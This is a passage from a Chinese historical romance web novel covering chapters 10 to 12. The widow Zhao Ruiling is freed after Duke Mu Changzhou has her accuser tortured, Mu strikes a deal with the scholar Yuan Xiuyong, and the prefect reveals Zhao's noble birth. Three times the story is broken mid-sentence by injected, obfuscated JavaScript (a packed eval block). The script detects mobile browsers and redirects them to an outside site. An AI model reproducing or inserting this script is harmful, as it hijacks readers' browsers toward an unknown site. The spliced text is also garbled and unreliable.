这种女子闺阁间的话,一般都不会太大声,甚至非信任之人不会提及,于老媪能听到,可见她行为之鬼祟。 于老媪还交代,之所以叫家在远郊的外甥住在家里,是为了等她儿子娶回赵瑞灵后,叫外甥装成拐子把于二郎拐走,远远卖掉。 如此于家的房子,还有不得不分给于旻的家产,也能变成于老七家的。 “如此心思歹毒,奸邪无耻之辈,也好意思称自己是读书人!”陈清源恨不能直接将于老七剁了喂狗,也省得玷污读书人的名声。 他抬起头要说话,却见到自己的长随王七脸色苍白,魂不守舍。 “王七你怎么了?” 王七猛地哆嗦了一下,他亲眼见到那位尊贵的国公爷拿着剃刀,一点点剃了于老七的两条腿肉,每剜一块肉,还要叫于老七一声。 他现在一听别人叫,吓得恨不能直接把名儿改了,哪怕叫王八都好,实在听不得这个七字。 王七哆嗦着把自己看到的都说了。 “那老媪被堵了嘴,眼睁睁看着自己的儿子被割肉,等放开她,都不用问,于媪就跟倒豆子一样把什么都交代了。” 陈清源也听得有些胆寒,不过却也不算意外。 他当年进圣都赶考的时候,就听人提起过能止小儿夜啼的醇国公。 连西戎人听了穆长舟的名字,都浑身打摆子,多不敢直面应战,只能想方设法在狼覃军安排暗探。 这种涉及拷问的手段,想也知道以往用在什么人身上,醇国公有此手段很正常。 王七又道:“对了,醇国公身边的郎君还叫奴问您一声,问您是否觉得赵氏眼熟,说是醇国公吩咐,若您没印象,不妨翻翻看上任知州留下的手札。” 陈清源有些莫名其妙,他从未见过赵瑞灵,怎会觉得眼熟。 他虽是新任湖州府,也已有半年,处理各种政务游刃有余,还有什么可看的。 “此事过后再议。”他只赶紧吩咐,“先叫人安排明天升堂,尽快还赵娘子一个清白……” 也尽快把这阎王给送走。 第二日一大早,赵瑞灵就被更客气的衙役请到了堂上。 这回陈清源都没给讼师发挥余地,直接拍了惊堂木。 “于七鸿,你觊觎堂嫂,私窥民宅,指使母亲行窃,凭你母亲所偷听闺阁之密构陷堂嫂,意图侵占堂嫂嫁妆及堂弟家财,罪不容恕!” “今本官判你笞刑三十,加诬罪二等,杖刑三十,剥生员之资,永不得科考!” “于氏纵子诬告他人,妄图令外甥拐带于家二郎,侵占于旻家产,虽未得逞,却犯偷盗罪、诬罪,加之藐视公堂,加罚笞刑五十,罚银十两以补于家赵氏损失!” 于老七和于老媪一个脸色苍白,眼神呆滞,一个哆哆嗦嗦不敢说话,倒是堂下的人听了两人犯的事儿以后,跟着骂开了。 尤其是读书人,听到于老七干的这些事儿,这儿要不是公堂,恨不能拿唾沫淹死他。 倒是跪在一旁的赵瑞灵,能看到于老七腿上的血迹,还有手腕上被铁链磨破的印记。 从来都嚣张无比的于老媪,哆嗦得跟即将不久于人世一样,听到刑罚,只敢哭,却一眼都不敢看赵瑞灵,更别提骂人。 殊不知于老媪昨日在刑房,但凡嘴里蹦出关于赵瑞灵的一个脏字,她儿就要掉一块肉,早就吓破了胆子。 赵瑞灵被当堂释放,直到出了衙门,都还有些恍如梦寐。 先前几乎逼得她和阿旻、阿桥没了活路,哪怕敲了登闻鼓,都害得她身陷囹圄的一家子,就这么轻而易举地解决了? 阿桥自是早早就来衙门前接她。 赵瑞灵偷偷跟阿桥嘀咕:“于老七甚至都站不起来,被抬到堂外施刑,还没打几下,母子俩就脸色苍白晕过去了……” 阿桥抬起头跟赵瑞灵对视,“娘子是说……严刑逼供了?那也是他们母子活该!” 赵瑞灵倒没替那娘儿俩心疼,只一脸严肃摇头。 “不,我怀疑那主仆俩不是人,说不准……”是阎王和座前小鬼转世,才能这么轻易把俩恶人给收拾了。 她话没说完,就忽地听到背后冷淡又沉稳的声音响起。 “赵娘子,你们把恩鬼落下了。” 赵瑞灵和阿娇同时僵住。 不是,她,她们就说了两回小话,怎么回回都叫人听见啊!! 10.第 10 章 摆脱困境,终于出狱,依赵瑞灵的性子,必要抱着阿桥哼哼唧唧一番,一起骂骂于老七母子。 那于老七嫉羡阿兄,嫉羡到名字都从于七财改成于七鸿,实在是恶心人日久,如今可算是出了恶气。 而后,赵瑞灵还要用柚子叶煮的水泡个澡祛除晦气,好好睡一觉,再精神抖擞登门拜访袁翁,把崽带回家。 岂料计划没有变化快,赵瑞灵什么都没来得及做。 她都不知自己怎么回的家,匆匆囫囵着洗漱一番,换上衣裳,连邻里的关怀都没工夫应上几句,就被请到那辆迥异于南地的马车上,唏律律地往豆花巷去。 赵瑞灵坐在马车里,偷瞧坐在上首阖眸养神的穆长舟。 先前说人家小话的心虚,加上对这人的害怕,让她一直悄悄往车辕方向挪动屁股,脚尖直冲着坐在外面的阿桥。 这死丫头简直没有一点护主的骨气! 若不是阿桥凭着力道把她推搡进马车,她又怎至于在这里坐立难安。 更过分的是,阿桥狗腿至极地请穆长舟坐进来,自个儿倒去了外头。 不知道她一个寡妇要避嫌吗? 没见邻里从门后头看过来的眼神能谱多少淫词艳曲吗? 终于挪到帘子旁,赵瑞灵用脚狠狠怼上阿桥的腰眼,催着人赶紧进来。 她实在不想自个儿面对个吓死人的陌生郎君啊啊!! 阿桥咬着舌尖忍住被挠腰窝的痒,打死不回头。 她也怕里头那位郎君,有道是死道友不死贫道,反正那郎君也不能吃了娘子。 她一个女婢,就该在外头吹风吃土,怎么配进马车里,那多僭越啊! 赵瑞灵气得弯腰,想伸手拽着阿桥耳朵,把人给拽进来。 穆长舟虽闭着眼,奈何听觉太敏锐,窸窸窣窣的动静实在扰人。 睁开眼就见赵瑞灵抿唇歪嘴又瞪眼的,他额角青筋鼓了鼓,突然开口。 “我姓穆,字长舟。” 赵瑞灵吓了一跳,慌不迭坐直。 “啊……喊字不合礼数,贵人怎的不说名讳?” 穆长舟抬眸看向赵瑞灵,并不回答她的问题。 赵瑞灵摸摸鼻子,察觉出什么,紧张地开口:“我姓赵名瑞灵,贵人莫怪,我没有字,不是故意……” 穆长舟淡淡打断赵瑞灵的话,“赵灵娘,某在你眼里虽不是人,却也不会做吃人的勾当,你大可不必如此惊慌生疏。” 他目光扫过赵瑞灵快要歪出去倒在阿桥背上的姿势。 “到了袁翁面前,若发现你畏我如虎狼,以为我怎么你了……虽不指望你这辈子回报恩情,但恩将仇报却也不妥吧?” 赵瑞灵讪讪地坐端正,想了想,屁股往里挪了挪。 无论怎么说,人家确实救了她,就是阎王,光天化日也不能耍什么鬼招数……吧? “贵人……穆郎君所言有理,是灵娘鲜少出门,性子不够大方,若袁翁肯见我们,灵娘定,定会替穆郎君美言!” 她想起自己先前送到袁宅的酒……袁翁会不会信美言,她可就保证不了了,谁叫这人先前出现时不像个好人呢。 她眼神往一旁游移,咬咬牙,又往穆长舟跟前蹿了蹿。 穆长舟自是看出了赵瑞灵的心虚,只还没来得及询问,先闻到一股柚叶和金桂香气掺杂的清浅甜香。 略垂眸,就能看到近在咫尺的雪白细颈,其下是琴弦般纤细的锁骨和被墨绿襦裙紧贴的…… 穆长舟喉结微微滚动,倏然又闭上眼,没再说话。 左右跟袁修永的博弈,与这小娘子做了什么关系也不大,由她去吧。 这会儿,袁修永恰巧在喝赵瑞灵托阿桥送上门的酒。 他其实一直没出门,只是不想见穆长舟而已。 于泓生前并不好酒,平日浅酌几杯,是为缓解用功读书的疲乏,酒中都放了药材浸泡。 “决明子……”袁修永是好酒之人,一口就尝出酒里的药味儿,哼笑出声。 “这小娘子倒是聪明。” 酒遇决明子……救命,以此来提示登门之人绝非善类,暗暗求救。 若穆长舟是个普通权贵,意图要挟赵瑞灵借机讨好袁修永,怕是要竹篮打水一场空。 袁大丰叫厨娘哄着于旻睡下,端着一盘酱肉和几个下酒菜进门。 “郎君说谁聪明?于二郎?” 袁修永翻个白眼,“六岁还不曾通读三百千,说话磕磕巴巴,于家的钟灵毓秀怕是都生在于泓一人身上了。” 可于泓也只是普通聪明而已,比起那些天之骄子还差得远,除了秉性,没一处叫袁修永看得上。 袁大丰不置可否。 于旻就算不聪明,胜在乖巧懂事,髫龄小儿遭逢大难,在陌生地界不哭不闹,已算是了不得的优点了。 “郎君要跟醇国公回圣都吗?” 袁修永哼得更大声了些,“我有的选吗?” 他若不去,穆家那臭小子,定会戳穿赵瑞灵的身份,将人送进那吃人不吐骨头的权力场。 以他这些年对赵瑞灵的了解,这小娘子要进了圣都,别说平安顺遂,保住命怕是都难。 袁大丰没听懂,只听出了结果。 回圣都倒也不怕人生地不熟,大郎在信里不知催过多少回了。 他转身往外走,“那我先去收拾东西,给大郎买些土仪带着。” “郎君记得跟二郎写信,别叫二郎送来的东西寄错了地方。” 袁修永不理他,继续自斟自饮,也不怕喝醉,醉了正好骂人。 等赵瑞灵忐忑着心肠,带穆长舟主仆二人登门后,见到的就是满脸通红,胡子上都沾着酒液的老头儿。 对方看见她,根本没给她替穆长舟美言的机会,挥挥手含混着撵人。 “行了,带你家二郎先回去,我今儿个没工夫骂你,你明日再来。” 赵瑞灵赶忙行礼:“灵娘先告退,明儿再来!” 说完她扭脸儿就跑,看都没看穆长舟和甄顺一眼。 虽说早死早超生……可能晚死一会儿是一会儿,这可不是她恩将仇报,她这是听老人言嘛! 甄顺看着远去的赵瑞灵和阿桥,发现这主仆俩最擅长做的事,大概就是跑得跟被狗撵一样。 又瞧了眼撸袖子摆足阵仗的袁修永,甄顺望向自家郎君,实话说,他也想试试被狗撵什么滋味儿。 反正比接小老头的唾沫星子有意思。 穆长舟倒也没拦:“你先送赵娘子他们回去。” 甄顺响亮地诶了一声,欢快跑了出去。 但屋里,袁修永和穆长舟却也没如想象中那般剑拔弩张。 穆长舟自在地坐在袁修永对面,替袁修永和自己都倒好了酒。 他端起酒碗,冲袁修永示意一下,先端起酒碗一饮而尽。 “袁翁十三年前离开圣都,某本以为你是为了避开圣人与太后之争,趋吉避凶,如今想来,倒是某狭隘了,却不知袁翁是为报恩而来。” 谢如霜才绝娘子之名在前朝便有之,听闻其足下有七星痣,命格不凡,很为家族看重。 恰逢乱世,是她说服自己的阿耶,前朝淮南道节度使谢颖淮,救助天下有志之士。 在前朝意欲将她纳入后宫时,谢家率先扬旗反了大荆,成为淮南道保存实力最完整的世家。 当年她跟太后出行礼佛,路遇匪患,被先圣所救,得知先圣秉性后,是她和太后一起说服谢颖淮投靠先圣。 袁家祖上出过国师,按照祖训一直隐居江东,也就是如今的江南东道,老宅其实不在湖州府,而是在湖州和常州交界处的定安郡。 定安郡在二十七年前,被当时的一路反王齐王占据,齐王挟持袁家家眷,意图逼袁家子出仕效忠。 谢颖淮负责攻打齐王,救下了袁家部分家眷。 谢如霜得知后,派人寻到被家人掩护出逃的袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633973|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修永,引荐给了已经嫁给先圣的阿姐。 后袁修永凭借自己的聪明才智,做了先圣军师,才有了如今江南道袁氏的声名。 老英国公和谢如霜对袁修永都有恩。 十三年前,袁修永放任长子投靠太后,与英国公府亲近,自己却愧而辞官,隐居湖州府不出。 世人都道是袁大家为报答老英国公恩情,又忠于正统,恩义两难全,才会如此,如今看来,却是另有隐情。 穆长舟又给自己倒了碗酒,借举碗姿势看向袁修永。 “既才绝娘子当年并未身殒,却为何放弃自己的才名和身份,嫁与寻常猎户,隐居江南,不知袁翁可愿为某解惑?” 袁修永不理会穆长舟的敬酒,嗤笑出声。 “你和你老子是争名好利的性子,就当天底下人都跟你们穆氏一样?旁人愿意怎么过活,跟你这只知道打杀的莽夫有何关系。” “还是说……”他胡子翘起嘲讽的弧度。 “你嫌打杀得来的名利还不够,也要跟圣都那些人一样,算计旧人之后入瓠,意图更上一层楼。” “老话说天下合久必分分久必合,天下才初定,醇国公就等不及要坐实功高震主的名声,要做这推动天下棋局之人?” 穆长舟垂眸,倏然笑了。 虽他面容偏正气,寻常表情也是凌厉居多,笑起来,神色却也有几分在军中待久了的痞气。 “穆某不敢说自己是个好人,却也非蠢钝无知之辈。” “如今天下勉强算得上安定,我狼覃军几十年所守护的,也不过是受用这份安定的百姓,我又怎会自掘坟墓。” 袁修永冷笑,“那你受圣人之命来掳我,又打算算计谢家女之后,讨好太后,如此左右逢源,又是为何?” 穆长舟单脚踩在木凳上,以膝撑着端酒的胳膊,放松了浑身力道,笑得更慵懒。 “自是为了狼覃军,为了能平安回到西北守卫边关,也为了这天下能更加安定,袁翁是信也不信?” 袁修永收了面上似真似假的怒气,定定地看着穆长舟这浑然天成的桀骜张狂。 好一会儿,他端起酒碗,面无表情端起。 “既如此,只要你答应,就当你从未见过赵氏和于二郎,我便与你回圣都,任太子师。” “小老儿还可承诺,此后若穆氏不反,袁氏绝不会与醇国公一脉为难,如何?” 穆长舟也放下腿,认真了些,“这是才绝娘子的意思?” 见袁修永不回答,穆长舟无奈道:“某欠才绝娘子半载养育之恩,实不敢轻易应承。” “袁翁离开湖州府,她们孤儿寡嫂在这里受宗族钳制,若再被人欺凌,又当如何?” 袁修永挑眉:“这与你无关,我自会留下人手看顾他们。” 穆长舟露出了然神色,面上滴水不漏,利落端起酒碗与袁修永相碰。 “如此,穆某便在客栈等着,恭迎袁翁归京。” 两人也没什么其他好说的,碗中水酒饮尽,穆长舟便起身告辞。 等穆长舟出了门,袁修永将袁大丰叫过来吩咐。 “你叫陈媪盯紧秀才巷那边,若这小狐狸有任何风吹草动,叫她立刻送消息过来。” 都是八百个心眼子的狐狸,袁修永才不会信穆家还能生出个忠厚老实的蠢牛来。 与此同时,带着酒气回到马车上的穆长舟,在马车内端坐思忖片刻,待得马车出了豆花巷后,突然轻笑出声。 “甄顺,我记得先前在府衙,你跟那几个捕快聊得投缘?” 当年太后和圣人寻才绝娘子时,给各州都送了才绝娘子画像,如今应该就存在那些捕快们常去的敕卷库房内。 甄顺嗐了一声,“不过是知道郎君身份,有心攀附一二,算什么投缘。” 穆长舟只当没听到,含笑靠在车壁上吩咐。 “既投缘,你取些银两,请他们吃酒告个别,也算全了这桩缘法。” 11.第 11 章 翌日。 一大早,赵瑞灵就带着阿桥和于旻来到袁宅,手上还提着食盒和于泓生前在家中留下的酒。 虽害怕挨骂,可赵瑞灵也不是不懂感恩的人,若无袁翁给她写的讼状,穆长舟就是挟恩图报也不可能找到她头上,她们三人也许会被于老七逼死。 袁大丰带她们进门后,招呼阿桥和于旻在天井里玩儿,只叫赵瑞灵一个人进了屋。 赵瑞灵进门就见袁修永照常坐在靠窗边的矮几前头,低着头整理书卷,明明听见动静也不抬头,心下有些发紧。 她小心翼翼将买来的点心提到矮几的空处,软声讨巧。 “灵娘听阿兄说过,袁翁您最喜欢吃东市头一釜出炉的雪娇娘。” “我特地请人多放了些灵沙臛和玫瑰酱,您尝尝?” 袁修永扭脸儿看向食盒,洁白如雪又圆润香甜的雪娇娘,像在雪地里滚过的糖糕,却比寻常糖糕多了股子酥脆和花香,一个个切成三角状,呈扇形摆放在食盒中。 他不自觉吞咽了下口水,心道于泓那小子倒也不是全无可取之处,起码这眼神和心思足够细腻。 只来他这里三两回,就看出他喜好这酥脆口的甜食来了。 但他却不肯就此让赵瑞灵松下心神来,冲她冷哼。 “这会儿倒又聪明起来了,先前在穆家小子面前,怎却蠢得出了奇,竟由着他拿捏,屁颠颠地把人送上门来。” 赵瑞灵缩了缩脖子,“灵娘知此事又给袁翁添了麻烦,只是穆郎君他气势惊人,一看就身份不俗,甚至还能吩咐知州办事,灵娘实在不敢得罪。” “加之他确实把我从牢里救了出来,不管他目的为何,这份恩情也没有视而不见的道理,所以……”她越说越心虚,咬着唇跪下了。 “都是灵娘不该仗着袁翁心善,视您为家中长辈,大胆妄为,一而再再而三借您的势,您责罚……” 袁修永干脆利落打断赵瑞灵的自责,“我与你写讼状,就是为了叫你借我的势。” 他抬起个薄一些的书简,毫不客气地敲在赵瑞灵脑袋上。 “刚夸过你聪明你就蠢给小老儿看,快醒醒吧,不然往后被人卖了,怕是还要给旁人数你的卖身银子。” 赵瑞灵捂着被敲疼的脑袋,一脸懵逼,也有些委屈。 她哪儿蠢了,是错认得还不够全面吗? “你自个儿也说了,穆家那小狐狸可以吩咐知州办事。”袁修永吹胡子,干脆把话说明白了提醒她。 “你既来找我写诉状,便知我在湖州府薄有声望,讼状既写与你了,以知州对我的忌惮,哪怕你在弱势,你当那陈清源敢随意将你下大狱?” “灵娘自是知您在湖州府威望——”赵瑞灵被骂得头皮发麻,小鸡啄米似的想顺着袁修永的话拍几句马屁,说着说着却突然顿住,猛地反应过来。 既知州大人不敢随意将她下狱,先起头看了讼状后也不曾言语,由着她请的讼师发挥,却为何突然又各打五十大板,把他们都关了起来? 接着那穆长舟就进了牢房吓唬她,还说自己能吩咐知州办事……这她要还想不明白,就真是傻子了。 “他故意给我挖坑,然后再把我拉上来以作施恩??”赵瑞灵简直不敢置信,下意识喃喃出声。 “那么大高的个儿,还是个有身份的,就一点脸都……”不要吗? 她下意识把骂人的话咽了下去,沮丧地发现,即便知道对方不要脸,她又能如何呢? 势比人强,她不过是个普通百姓,也报复不回去。 袁修永大概知道赵瑞灵想骂什么,却不以为然。 在那权力场里,为了权势荣华,多得是连人都不做的无耻之辈,不要脸算什么,就人品而言,那穆长舟多少比圣都那起子权贵好些。 他骂赵瑞灵,也不是为了算账,见赵瑞灵芙蓉面上满是愤然,啼笑皆非地叹了口气。 “行了,与你说这个,是叫你往后与人相处时切记谋定而动,不要被人裹挟前行。” “小老儿不日就要去圣都,我已跟周望说好,叫于二郎去他那里进学,有什么事儿你只管找他帮忙。” “若碰上实在解决不了的事儿,可遣人拿着这个去找陈清源。”袁修永将一枚黄山石印扔给赵瑞灵。 “他在任上至少六年,看在我与他座师有恩的份儿上,会帮你的。” 知州一任三年,没有门路和靠山的寒门子,一般都会连任。 陈清源并无大才,在他座师面前不算得脸,至少也得连任两次,才有机会被举荐去其他地方。 袁修永心里已然盘算好,即便到时他已作古,有大郎和二郎在,也可继续安排与袁氏交好的派系来此任知州,护得这小娘子一生顺遂应当不难。 “是要进京去给穆家做先生吗?”赵瑞灵接住小印后,有些怔忪,抬头望着袁修永,倏然红了眼眶。 “袁翁为何对我这样好?我……我不值得您这样费心的。” 分明是她仗着阿兄过去总在家里夸袁翁是个心善的,才生了恃弱求讼状的心思,将袁翁拉进这泥潭里。 袁翁不但没计较,豁出去清名助她告状,被她害得不得不去圣都,还要替她安排好后路,这简直是救苦救难的活菩萨转世。 就算打小就习惯了被人照顾,很少会为他人考虑的赵瑞灵,也从心底生出一股子自惭形秽之感。 “啧~你还挺有自知之明,你这好吃懒做又愚笨的小娘子,确实不值得我大费周章。”袁修永毫不客气刻薄道。 可耐不住她命好,有前人栽树,他所为,也只是想了结旧日恩情。 “我回圣都,那是因为我家大郎在圣都为官,几番催促我北上好尽孝,我早有归去之意,奈何山高路险,这回有人来迎,顺势而为罢了。” “至于你这小娘子,若不是瞧于泓实在可惜,我于他好歹也有半师之谊,少不得要替他安置好唯一的弟弟,谁稀得管你!” 说完,他就撵赵瑞灵出了屋,明显不想听那些感恩戴德的话。 虽被嘲讽一番,赵瑞灵可怜巴巴退出来,却丝毫没减少对袁修永的感激之情。 人家嘴巴再毒,也救了她和二郎。 若非为了她,许是回圣都就能得家中儿孙孝顺,不用一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640084|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪还进坏人府里教学生…… 巧的是,念着乌龟来了王八。 她正鼓着小脸儿在心里骂穆长舟又坏又不要脸,穆长舟和甄顺竟也登门,在门口跟赵瑞灵碰了个对脸儿。 甄顺还记得先前被坑的仇,一大早就惦记着过来看赵瑞灵挨骂,借口要来询问袁大家出发日期。 穆长舟也有事要见袁修永,这才一起过来。 “咦?赵娘子挨骂挨完了?”甄顺见赵瑞灵一副气得芙蓉面滴粉的模样,颇有些遗憾地问道。 “关你屁事!”赵瑞灵瞪他一眼,冷着张俏脸又去瞪穆长舟。 被人算计了还傻乎乎还对方恩情的账,让赵瑞灵一时间也忘了对穆长舟的惧怕。 “我挨骂还不都是阿猫阿狗害的!” 穆长舟微微挑眉,今日这小娘子胆儿倒是肥。 赵瑞灵被他似笑非笑睨下来的眼神盯得心头微颤,飞快道—— “还是圣都来的贵人呢,不料昨日倒叫我猜了个准,真是晦气,回头我定去庙里多拜拜菩萨,不然往后怕是再不能出门了!” 说完,她连不知去了哪儿的阿桥和于旻也顾不得,抡起腿儿就哒哒跑开了。 徒留被骂了一脸,却没听懂的甄顺,满头雾水看向穆长舟。 “郎君你听懂了吗?怎么就是我们……啊呸,怎么就是阿猫阿狗害的了?” 他们明明是救这小娘子和于二郎于水火,怎的好人还没好报呢。 “她骂我们不干人事儿,想叫菩萨收了妖魔鬼怪,免得我们出来害人,盼着与我们永不相见。”穆长舟迈着长腿不紧不慢往前走,凉凉解释道。 等到了圣都,倒也不是不能成全这小娘子。 看来袁修永对她确实掏心掏肺,指点不少,看来是很喜欢这种活泼又没什么胆子的兔子。 回头在给圣人的奏疏里,可以尝试跟圣人建议一番,让太子跟着学活泼些。 袁修永得知穆长舟此来,是怕夜长梦多,要叫他先手书奏疏一封,拜谢圣人欲封他为太子师的圣恩,将此事落实,心里大骂穆长舟狡诈。 他比赵瑞灵敢骂,“应了你就是应了你,当谁都跟你这小子一样阴险狡诈呢?” “就是上奏又如何,你若是对某失信,就算是入了圣都,某也不会放过你这竖子!” 穆长舟掏掏耳朵,左耳朵进右耳朵出,只当骂的不是他,淡定看着袁修永面含煞气写奏疏。 与此同时,知州衙门的敕卷库内,知州幕僚赵城柯手上捧着上任知州留下的手札,若有所思地在敕卷库内敲敲点点。 好一会儿,他从最里侧已落了一层厚厚尘埃的条案上,取出一张十几年前圣都派发下来的卷轴。 不过顷刻,赵城柯跟炸了锅似的蹦起来,脸色扭曲,说不上是惊喜还是惊吓得蹿出敕卷库,朝着知州住的后宅跑。 “大人不好了……大人大好事啊!!” 正躺在摇椅上打瞌睡的陈清源,被这凄厉中带着颤抖,颤抖中还带着渗人笑意的声音猛地惊醒,差点一屁股歪到地上去。 到底是好还是不好,赵先生疯了吗? 12.第 12 章 初夏的天儿比起盛夏时候,倒没那么多变,阳光始终热切地亲吻着大地。 赵瑞灵自袁大丰口中,得知阿桥带着于旻去了周夫子那里拜师,没在袁宅多留,趁日头还不算太高,先回了家。 快到午时,阿桥才带着于旻家来。 一进门,两人就瞧见赵瑞灵坐在葡萄秧子搭建的小凉亭下,用手撑着下巴,苦着脸出神。 午食是不可能做的,赵瑞灵不会。 不论是早年的赵家,还是于家,包括于旻这小豆丁在内,都爱惯着她。 阿桥早习惯了,撇撇嘴,先去厨房取了鸡食。 她家娘子还不如厨房后头圈养的鸡,人家饿了还会咯咯哒到处啄着小石子儿止饿,她们家这位只会饿着肚子等饭吃,火都不会烧。 于旻小脸儿被晒得通红,却果然见怪不怪。 阿兄要读书总不在家,家里都要靠阿嫂来支撑,他又是阿嫂带大的,长嫂如母,孝顺就完了。 他抡着小短腿进屋,取了早上烧好放凉的水,绕到厨房后头,跟阿桥一人咕咚咕咚灌下去一碗,自然地分开,烧火的烧火,喂鸡的喂鸡。 待阿桥做好午食,端到葡萄秧子下的石桌上,这才来得及问赵瑞灵。 “娘子又怎么了?外头有人说闲话?这也值当得你犯愁,你就跟我说是谁,回头娘子歇好了晌,我上门去骂。” 于老七一家子的所作所为已在秀才巷传开,所有人都不屑与之为伍,还有人往他家扔烂菜叶子。 他那个总爱贼眉鼠眼往别家探看的表弟,进出去请堂医时,都灰溜溜的,不敢闹出动静。 于老七他阿耶向来窝囊沉默,这回倒做了主,去了趟牙行,要买了秀才巷的房子,全家搬回下头郡里的裕民县。 秀才巷的人家知赵瑞灵这桩是无妄之灾,加之袁大家给写诉状的事儿传开,前一日又有看起来格外贵气的马车来接赵瑞灵,倒也不说什么闲话。 可一样水土百样人。 秀才巷的邻里多数和善,也有那好嚼舌根子的,眼酸赵瑞灵命那么硬,却自小被耶娘、公婆、夫君、小叔子宠上了天,时不常地在背后酸几句。 阿桥腹诽自家娘子是一回事,却最见不得有人蛐蛐儿赵瑞灵,知道了必然要站对方家门口叉腰骂上半天。 其他奴籍女婢是不敢做这种事的。 赵瑞灵却从来不会体罚阿桥,甚至骂都不会骂她,如今也没有被卖的危险,阿桥底气足得很。 赵瑞灵噘着嘴摇摇头,她哪儿有心情听旁人说什么。 食不下咽地夹了几筷子拌凉瓜,她也不等阿桥和于旻再问就把穆长舟主仆俩干的事儿跟两人说了。 在阿桥和于旻面前,赵瑞灵一点也不遮掩脾气,气得咬牙鼓脸儿,用力将筷子拍在石桌上,龇牙咧嘴……疼的。 “人心险恶的千篇一律,不干人事儿的法子倒花样繁多,却叫我成了刺向恩公的刀,逼得袁翁一把年纪了还要长途跋涉。” 她重重哼了声,“阿兄要是在家,肯定不会让人这么欺负我们和袁翁!” 她话音一落,阿桥和于旻脸色都是一变,有些担忧地看向从愤慨突然怔忪住的赵瑞灵。 以前于泓还活着的时候,因为要在府学求学,出门科考,大多时候也不在家。 得知他去世的消息后,除了治丧的时候赵瑞灵和于旻难过了一阵子,其他时候并未表露多少对于泓的思念,还能有说有笑的。 他们已经习惯了家里只有三个人。 但赵瑞灵似乎忘记夫君已溘然长逝,时不时就会跟过去一样自然而然提起于泓,总想着他还会归家。 每每反应过来,赵瑞灵就会情绪低落好几日,循环往复,哪怕于泓已经离开一年多了,也改不掉这个毛病。 这会儿果然如阿桥和于旻担心的那样,赵瑞灵又一次反应过来,最心疼她的阿兄,与她青梅竹马的夫君,再也不会回来了,那双盈着秋水的眸子一点点变红。 不过这会她却没工夫失落,只强忍着惆怅吸了吸鼻子,叉腰站起身来。 “不行,我们不能就这么让袁翁离开……”可她也想不出什么留下袁修永的法子,又沮丧地放下手。 “至少……至少我们得给袁翁准备些仪程,让他能更舒坦些北上才是。” 阿桥巴不得娘子能找点事儿做,好忘了难过,赶忙点头。 “过去……行囊都是我收拾的,一会儿吃完饭,我带娘子出去给袁翁置办仪程。” 于旻也积极举起小手,“袁家老丈说,袁翁最喜欢勤勉用功的小郎君,我下午去隔壁秦秀才家借本佛经描红,给袁翁描几本佛经祈平安!” 赵瑞灵觉得这安排不错。 她努力压下想起阿兄的难受,想着下午要东奔西跑,逼自己多吃了点东西。 就算出门,也要等过了太阳最毒辣的午间再出去。 阿桥不紧不慢去厨房洗碗,赵瑞灵牵于旻进屋,准备哄他午歇呢,大门突然就被敲响了,敲得还特别急切。 这动静叫阿桥心下打了个突,赶紧在衣摆上擦擦手,起身往外看。 赵瑞灵已经拉着于旻去开门。 门一开,叔嫂俩都被吓了一跳。 门外站着两排衙役,湖州府知州陈清源带着幕僚,还有些丫鬟婆子,乌泱泱站在门外。 瞧见赵瑞灵,陈清源眼神蓦地亮了起来,当先上前一步,客客气气行叉礼。 “湖州府知州陈清源,见过赵娘子!” 秀才巷的人家听到动静,都出来看热闹。 有的甚至还端着饭碗呢,瞧见知州大人如此阵仗,全震惊地瞪大了眼,饭都忘了吃。 知州大人怎么会对于家的小寡妇行礼?? 这比见鬼还让人难以置信。 赵瑞灵也是这个感受。 她慌忙拉着懵逼的于旻赶紧避开陈清源的礼,脸色发白,面上掩不住迷茫。 “知州大人这,这是作甚?” 一旁知州幕僚赵城柯赶忙上前,有些话作为朝廷命官,陈清源实不好说得太谄媚,只能由他来。 “好叫赵娘子知道,您实则为圣都英国公府之后,当朝太后乃是您的姨母!” “早年大昭还未立国之时,尊母为救太后,引开逆贼追兵,不慎坠落山崖。” “太后、圣人乃至英国公府都派了大量人马寻找,给各州府都下发了谢娘子的画像,如今可算是把您找着了!” “啊?你们弄错了吧?”赵瑞灵瞠目道。 她耶娘就是普通人,话本子也不敢这么写啊! 赵城柯恭敬将那卷看起来有些年头的旧像小心翼翼展开,呈到赵瑞灵面前。 “先前在堂上,知州大人便觉得您面善,只是一时没记起来。” “先前官司结束后,大人特地查询了上任知州手札,再三确认,赵娘子之母便是二十年前来到湖州府的,又有早年与赵家相熟亲眷确认谢娘子容貌,您的身份毋庸置疑。” 赵瑞灵定睛看过去,瞬间哑然。 她无比震惊地发现,这画像跟她像是一个模子刻出来的。 虽然阿娘去世时赵瑞灵才七岁,却清楚记得自家阿娘的模样。 因为阿兄擅丹青,早年在赵瑞灵思念耶娘的时候曾给她画过。 赵瑞灵越长大,也跟她阿娘越像,如今她跟阿兄画的像更是足了九分。 秀才巷听到赵城柯说话的人,也都忍不住哗然出声,一个个都跟做梦似的。 “这么说赵灵娘她阿娘是国公府的女娘?我不是在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 